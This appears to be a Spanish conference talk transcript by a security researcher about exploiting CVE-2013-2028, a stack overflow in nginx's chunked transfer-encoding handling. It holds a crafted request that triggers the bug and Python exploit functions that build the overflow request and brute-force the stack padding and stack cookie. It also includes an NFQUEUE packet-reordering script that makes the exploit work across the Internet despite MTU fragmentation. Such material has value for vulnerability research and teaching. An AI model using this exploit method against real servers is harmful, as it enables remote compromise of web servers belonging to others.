Descarga Presentación

Download Report

Transcript Descarga Presentación

WhoamI
#BBOOTN
WhoamI
Big Buffer Overflow
Over The Network
Y bla bla bla…
SOBRE MI
Albert Puigsech Galicia
Más de 15 años dedicado al InfoSec.
Manager del laboratorio de seguridad de EY.
Director de centro Codelearn Sant Gervasi.
Miembro del grupo int3pids.
Creador de la publicación 7a69ezine.
QUIEN MÁS?
Socio de I+D+i:
@samsa2k8
oriol-carreras-ballester
ANTECEDENTES
A principios de Mayo de 2013 se publica una
vulnerabilidad en nginx.
 nginx crafted request handling remote overflow
 CVE-2013-2028
 Otra vez el chunked encoding, y bla bla bla…
EL EXPLOIT
Análisis del parche:
El problema se produce en la función ngx_http_parse_chunked()
cuando ctx->size o ctx->length es menor que zero.
--- src/http/ngx_http_parse.c
+++ src/http/ngx_http_parse.c
@@ -2209,6 +2209,10 @@ data:
+ if (ctx->size < 0 || ctx->length < 0) {
+
goto invalid;
+ }
+
return rc;
done:
Y bla bla bla…
EL EXPLOIT
Análisis del código:
 La función de parsing procesa carácter a carácter en un
bucle enorme que implementa una maquina de
estados, y bla bla bla…
 Al final se resume todo en usar un tamaño de chunk
encode negativo.
EL EXPLOIT
Una prueba tonta:
GET /html HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
feeeeeeeeeeeeeeee
El gdb nos dice esto:
Breakpoint 2, ngx_http_parse_chunked (r=0x94dc4d8, b=0x94d6064, ctx=0x94dcc94)
at src/http/ngx_http_parse.c:2177
2177
ctx->state = state;
(gdb) p ctx->size
$7 = -1229782938247303442
(gdb)
Y bla bla bla…
EL EXPLOIT
Vale, y?:
En la función ngx_http_read_discarded_request_body() podemos
encontrar el siguiente código:
u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
(…)
size = (size_t) ngx_min(r->headers_in.content_length_n,
NGX_HTTP_DISCARD_BUFFER_SIZE);
n = r->connection->recv(r->connection, buffer, size);
NGX_HTTP_DISCARD_BUFFER_SIZE es 4096.
Y bla bla bla…
EL EXPLOIT
Jojojo. Un buffer overflow de toda la vida (*).
Y bla bla bla…
(*) Con stack cookie aleatorio.
EL EXPLOIT
Código del Exploit:
Crafted Request! Y bla bla bla…
def get_magic_request(sz):
req = "GET /html HTTP/1.1\n"
req += "Host: localhost\n"
req += "Connection: keep-alive\n"
req += "Transfer-Encoding: chunked\n"
req += "\n"
extra = sz - len(req) - 17
extra = extra - 5
req += "%x" % extra + "\n" + "A"*extra + "\n"
req += "eeeeeeeeeeeeeeee\t"
return req
EL EXPLOIT
Código del Exploit:
Auto-Padding! Y bla bla bla…
def get_padding():
print "[+] Finding stack padding"
for i in range(0, 128):
print "\r\t- Trying: %i" % i,
sys.stdout.flush()
req = prepare_request(1024, BUFSIZE, i , 0xff, 1, 0, "")
s = do_connect(HOST, PORT)
s.send(req)
if len(s.recv(1024)) <= 0:
print "\r\t- Trying: %i (FOUND!)\n" % i
break
if i == 127:
print "\r\t- Not Found: Are you sure that this is exploitable?"
return None
else:
return i
EL EXPLOIT
Código del Exploit:
Auto-Cookie!!!!! Y bla bla bla…
def get_cookie(padding_bc_size):
print "[+] Obtaining stack protection cookie"
cookie = 0x00000000
for i in range(0,4):
for j in range(0x00, 0xff):
print "\r\t- Trying: %x" % cookie,
sys.stdout.flush()
req = prepare_request(1024, BUFSIZE, padding_bc_size,
cookie, i+1, 0, "")
s = do_connect(HOST, PORT)
s.send(req)
if (len(s.recv(1024)) > 0):
break
cookie += 0x01<<(8*i)
print "\r\t- Trying: %x (FOUND!)\n" % cookie,
return cookie
EL EXPLOIT
Atacando a través de la red local:
EL EXPLOIT
Atacando a través de la Internet:
Y bla bla bla…
EL MISTERIO
Qué cojones pasa? Miremos el log…
2013/08/20 01:57:07 [debug] 9816#0: *1 http chunked byte: FF s:2
2013/08/20 01:57:07 [debug] 9816#0: *1 recv: fd:3 1435 of 1435
Y bla bla bla…
EL MISTERIO
Qué cojones pasa? Miremos el trafico de red…
EL MISTERIO
¡Respuesta!
$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:1c:42:aa:cd:ae
inet addr:192.168.43.201 Bcast:192.168.43.255 Mask:255.255.255.0
inet6 addr: fe80::21c:42ff:feaa:cdae/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:355172 errors:0 dropped:17 overruns:0 frame:0
TX packets:108614 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:74851995 (74.8 MB) TX bytes:59333456 (59.3 MB
“La MTU nos esta jodiendo”
La unidad máxima de transferencia (Maximum Transfer Unit - MTU) es un
término de redes de computadoras que expresa el tamaño en bytes de la
unidad de datos más grande que puede enviarse usando un protocolo de
comunicaciones.
Y bla bla bla…
QUE OCURRE?
Aplicación (exploit)
Aplicación (nginx)
4096
TCP
IP
TCP
El paquete es dividido en paquetios antes de ser enviado,
Y el destino los procesa en llamadas recv()IP independientes
1500
1500
…
Física
Física
Y bla bla bla….
Internet
SOLUCION?
Primer intento…
Forzar una MTU mayor.
$ ifconfig eth0 mtu 8000 up
QUE OCURRE AHORA?
Y bla bla bla….
Aplicación (exploit)
Aplicación (nginx)
4096
TCP
TCP
El paquete es dividido en paquetitos en algún punto de internet,
Y el destino los procesa en llamadas recv() independientes.
IP
IP
No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos.
El paquete raramente llegará entero a su destino a través de Internet.
Física
Física
Internet
1500
1500
…
SOLUCION?
Si no podemos enviar el paquete entero… Tenemos
que hacer que, por lo menos, llegue entero a la
aplicación destino (nginx).
(UN POCO DE REDES)
El modelo OSI tiene diversas capas en las que se
procesan los paquetes.
El paquete debe llegar compacto a la capa de
Aplicación.
En que capas se ensamblan paquetes?
IP: Paquetes fragmentados.
TCP: En algunas condiciones.
Y bla bla bla…
(UN POCO DE REDES)
Cómo funciona la capa TCP.

Protocolo orientado a conexiones con controles de secuencia.

Tiene un Buffer interno llamado “Ventana” de un tamaño
concreto.

La Ventana se usa para ensamblar paquetes.
(UN POCO DE REDES)
Llega un paquete TCP…
1. Se coloca en la Ventana.
2. Se evalúa si el contenido está completo (gracias a los números
de secuencia).
3. Si el contenido está completo se envía a la capa superior (capa
de Aplicación).
4. Si no esta completo se sigue esperando contenido.
5. Y bla bla bla…
SOLUCION?
Segundo intento…
Intentar que los paquetes se ensamblen en la capa TCP…
Como?
Si enviamos el primer paquete del bloque de datos en último lugar,
la capa TCP no podrá entregar los datos a la capa de Aplicación
hasta que este llegue.
Primer paquete
al final.
1500
1500
1500
Y bla bla bla…
QUE OCURRE?
Aplicación (exploit)
1500
1500
Aplicación (nginx)
PWNED
1500
TCP
TCP
Ventana
4096
IP
IP
Física
Física
Y bla bla bla….
Internet
SOLUCION
Como lo hacemos?
 Implementando un stack TCP/IP en userspace en nuestro exploit.
Elegante, pero un palo.
 Manipular el kernel
Feo, y un palo.
 Usar las NFQUEUS de netfilter.
Feo, pero FACIL
Y bla bla bla…
SOLUCION
Código del NFQUEUE:
import nfqueue
import socket
import time
data_count = 0
delayed = None
def cb(dummy, payload):
global data_count
global delayed
print "OUTCOMING PACKAGE!"
data = payload.get_data()
if len(data) > 60:
data_count += 1
if (data_count == 1):
delayed = payload
print data
payload.set_verdict(nfqueue.NF_DROP)
else:
data_count = 0
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(cb)
q.create_queue(0)
try:
q.try_run()
except KeyboardInterrupt:
print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
PREGUNTAS?